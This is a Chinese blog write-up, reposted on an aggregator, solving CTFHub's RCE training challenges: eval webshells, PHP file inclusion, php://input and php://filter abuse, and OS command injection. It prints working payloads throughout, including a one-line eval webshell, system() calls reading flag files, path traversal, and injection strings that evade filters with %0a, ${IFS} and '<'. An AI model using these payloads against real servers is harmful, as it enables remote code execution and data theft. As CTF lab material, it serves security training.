IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> CTFHub 技能树-- RCE(详解) -> 正文阅读

[PHP知识库]CTFHub 技能树-- RCE(详解)

CTFHub – RCE

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

eval执行文件

查看一开始的源代码:

<?php
    if(isset($_REQUEST['cmd'])){
        eval($_REQUEST['cmd']);
    }
	else{
        highlight_file(__FILE__);
    }
?>

php函数意思是:

是否由变量cmd 如果有,就执行eval($_REQUEST['cmd']);也就是 木马

__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture

所以我们在访问的时候使用变量 cmd

/?cmd=system("ls")  

此处因为根目录无flag 所以看上一级目录

/?cmd=system("ls /")  

然后查找flag:

/?cmd=system("cat /flag_5647")  

文件包含

<?php
    error_reporting(0);
    if (isset($_GET['file'])) {  
           if (!strpos($_GET["file"], "flag")) {
               include $_GET["file"];
           } else {
                 echo "Hacker!!!";  }
    } else {  highlight_file(__FILE__);}?>
       <hr>i have a <a href="shell.txt">shell</a>, how to use it ?

strpos:查找字符串首次出现的位置

strpos(string,find,start)
参数描述
string必需。规定要搜索的字符串。
find必需。规定要查找的字符串。
start可选。规定在何处开始搜索。

所以php函数意思是:

如果get传参的变量中含有flag 就将文件包含起来

点击下面的shell.txt

发现由eval漏洞

<?php eval($_REQUEST['ctfhub']);?>

并且 $_REQUEST['ctfhub']

我们要想办法绕过 imclude 到达 hacker(黑客)

所以我们找个变量指向一个没有 flag 的文件

而题中已经给了提示 shell.txt 同时有 eval漏洞

所以我们可以构造出:
在这里插入图片描述

从而获得flag

PHP://input

一开始给出源代码:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ZzMXMfJ9-1645357597449)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220104453517.png)]

在没有shell脚本的情况下访问 flag ,第一时间想到了 上传文件漏洞,上传shell.php,奈何没有上传点只得作罢,换个思路:

我们是否可以用 burpsuite 来进行抓包,在BP上面改包,添加上我们想要的shell.php的内容,但问题来到了,这时候我们添加的 内容是以 post数据流存在的,没有以代码的方式执行

幸运的是 php是一个功能强大的语言

在php伪协议中存在php://input

php://input

作用:可用于查看源码,同时是要查看未压缩文件的只读流。在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)

条件:allow_url_fopen=off/on;allow_url_include=on

点击题中的 phpinfor 查看php情况,检查allow_url_include是否为on

在这里插入图片描述

然后,我们可以确定 本题考查就是 php://input

所以我们只要将 get改为 post 像这样:

POST /?file=php://input HTTP/1.1

然后在后面添加 shell:

<?php system('ls /');?>

所以我们只要将 get改为 post 像这样:

POST /?file=php://input HTTP/1.1

然后在后面添加 shell:

<?php system('ls /');?>

在这里插入图片描述

注:在本题使用<?php system('ls');?>无效,要直接使用<?php system('ls /');?>

得到flag:

<?php system('cat /flag_4627');?>

在这里插入图片描述

在php伪协议中还存在:php://filter

php://filter

  • 条件:allow_url_fopen=off/on;allow_url_include=off/on

  • 作用:用过滤器读写数据流

我们发现以本题的情况来看,php://也是可以使用

我们先了解下 php:filter

参数描述
read用读链的过滤器读数据流
write用写链的过滤器写数据流
resource声明过滤哪一个数据流
不指定读写当不指定读写时会自己根据情况而定

我们可以直接构造:

?file=php://filter/resource=../../../flag

但问题来了,我们并不知道flag后面的数字,所以,我们直接使用是无法获得flag的

必须先使用 php://input 获得 flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gyZJ97fv-1645357597455)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220112614477.png)]

?file=php://filter/resource=../../../flag_28479

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-flIP7L7S-1645357597456)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220112522112.png)]

远程包含

引入眼帘的就是这样一句话:

i don’t have shell, how to get flag?

自然而然地我们直接使用 php://input (上一关相同)

在解题的过程中,我们发现 所需要的文件名称 直接就是flag

但 php代码:echo

所以在本关我们可以直接使用 php://filter

?file=php://filter/resorce=../../../flag

读取源代码

题目中直接说 flag in/flag`

所以我们直接使用 php://filter

?file=php://filter/resource=../../../flag

命令注入

我们先了解下命令注入:

命令注入

后台直接执行系统命,一般要结合linux,windows的管道对要执行的命令进行拼接。 过滤的话大致分为两种情况:白名单,黑名单
黑名单是过滤到一些常用的参数,如果过滤的不全面可以考虑用其他相同功能的函数代替;如果黑名单比较全面,那就要考虑用编码的方式尝试绕过。
白名单是限制参数的使用范围,写死了的话应该常规的办法就没有用了。盲猜很多web都是基于白名单的。
可以通过echo,>>等方法生成php文件并写入一句话木马

Windows系统中命令的链接符号

  1. “|”:直接执行后面的语句。
  2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
  3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
  4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能

先输入:

127.0.0.1&ls

在这里插入图片描述

127.0.0.1&cat 32506276723113.php|base64#

在这里插入图片描述

]然后进行 base64 解码

获得flag

在后面的关卡中,就是命令注入的黑名单应用了

过滤cat

在这里插入图片描述

在linux下,不只有cat 可以读取文件内容,more less head tac,都可以对文本进行读取。

当然我们使用的是windows ,但是也能用

127.0.0.1&ls

127.0.0.1; more flag_19336906025702.php | base64 #

过滤空格

在这一关过滤了空格

所以我们的思路就是使用特殊符号过滤空格

使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}${IFS}来代替空格

127.0.0.1&ls

127.0.0.1;cat<flag_229962408527938.php|base64#

过滤目录分隔符

过滤了目录分割符 /既然过滤了/,那我们就不能直接查看文件里面的文件了也就是不能127.0.0.1 ; ls /flag_is_here/flag_294042268011398.php,这里利用分号使两个命令同时进行也就是127.0.0.1;cd flag_is_here;cat flag_9012297169124.php

? cd 进入flag_is_here目录,

? ls 显示flag_is_here目录里的内容。

所以

127.0.0.1&ls

127.0.0.1;flag_is_here;ls

127.0.0.1;flag_is_here;flag_294042268011398.php |base64#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KhQRAoiY-1645357597459)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220180453004.png)]

过滤运算符

在本关过滤掉了 | &

所以

127.0.0.1&ls

127.0.0.1; base64 flag_726327229931.php#

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-stIqA1Lb-1645357597460)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220181819791.png)]

综合练习

在本关过过滤了 | & ; / cat flag ctfhub 和空格

  |    &     ;     /    cat    flag    ctfhub  和空格
cat 用more 代替

空格用 < 代替

|   我们可以将 base64写在前面

;(命令分隔符)     用%0a代替


注意应为 %0a是url编码所以要在url栏中执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Io7IJSEF-1645357597460)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220182823604.png)]

127.0.0.1%0als

?

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OKV30goP-1645357597461)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220184315763.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yf2BVhoQ-1645357597461)(C:\Users\hcj\AppData\Roaming\Typora\typora-user-images\image-20220220194545445.png)]

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-02-26 11:10:13  更:2022-02-26 11:11:21 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 16:10:29-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计